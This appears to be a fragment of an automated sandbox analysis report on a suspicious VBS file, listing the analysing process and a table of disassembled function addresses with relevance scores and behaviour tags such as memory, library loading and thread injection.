Analysis Process: WmiPrvSE.exePID: 6620, Parent PID: 792

General

Chronological Activities

Windows Analysis Report
gnAYDP69br2v.vbs

Function 7004A96D Relevance: 13.8, APIs: 9, Instructions: 318
memoryCOMMON

Function 6FFA14FE Relevance: 13.6, APIs: 9, Instructions: 107
sleepnativesynchronizationCOMMON

Function 6FFA10ED Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Function 6FFA1382 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Function 6FFA1A0A Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Function 6FFA1B4A Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Function 6FFA1E91 Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Function 6FFA1DA0 Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Function 6FFA1D2D Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Function 6FFA1B8C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Function 6FFA149B Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Function 6FFA2042 Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Function 6FFA1768 Relevance: 4.6, APIs: 3, Instructions: 60
stringthreadCOMMON

Function 6FFA195C Relevance: 2.5, APIs: 2, Instructions: 48
memoryCOMMON

Function 70012BAD Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Function 70007341 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Function 6FFA1202 Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Function 6FFA1F7C Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Function 6FFA11BF Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Function 6FFA2495 Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Function 6FFA2274 Relevance: .1, Instructions: 77
COMMONCrypto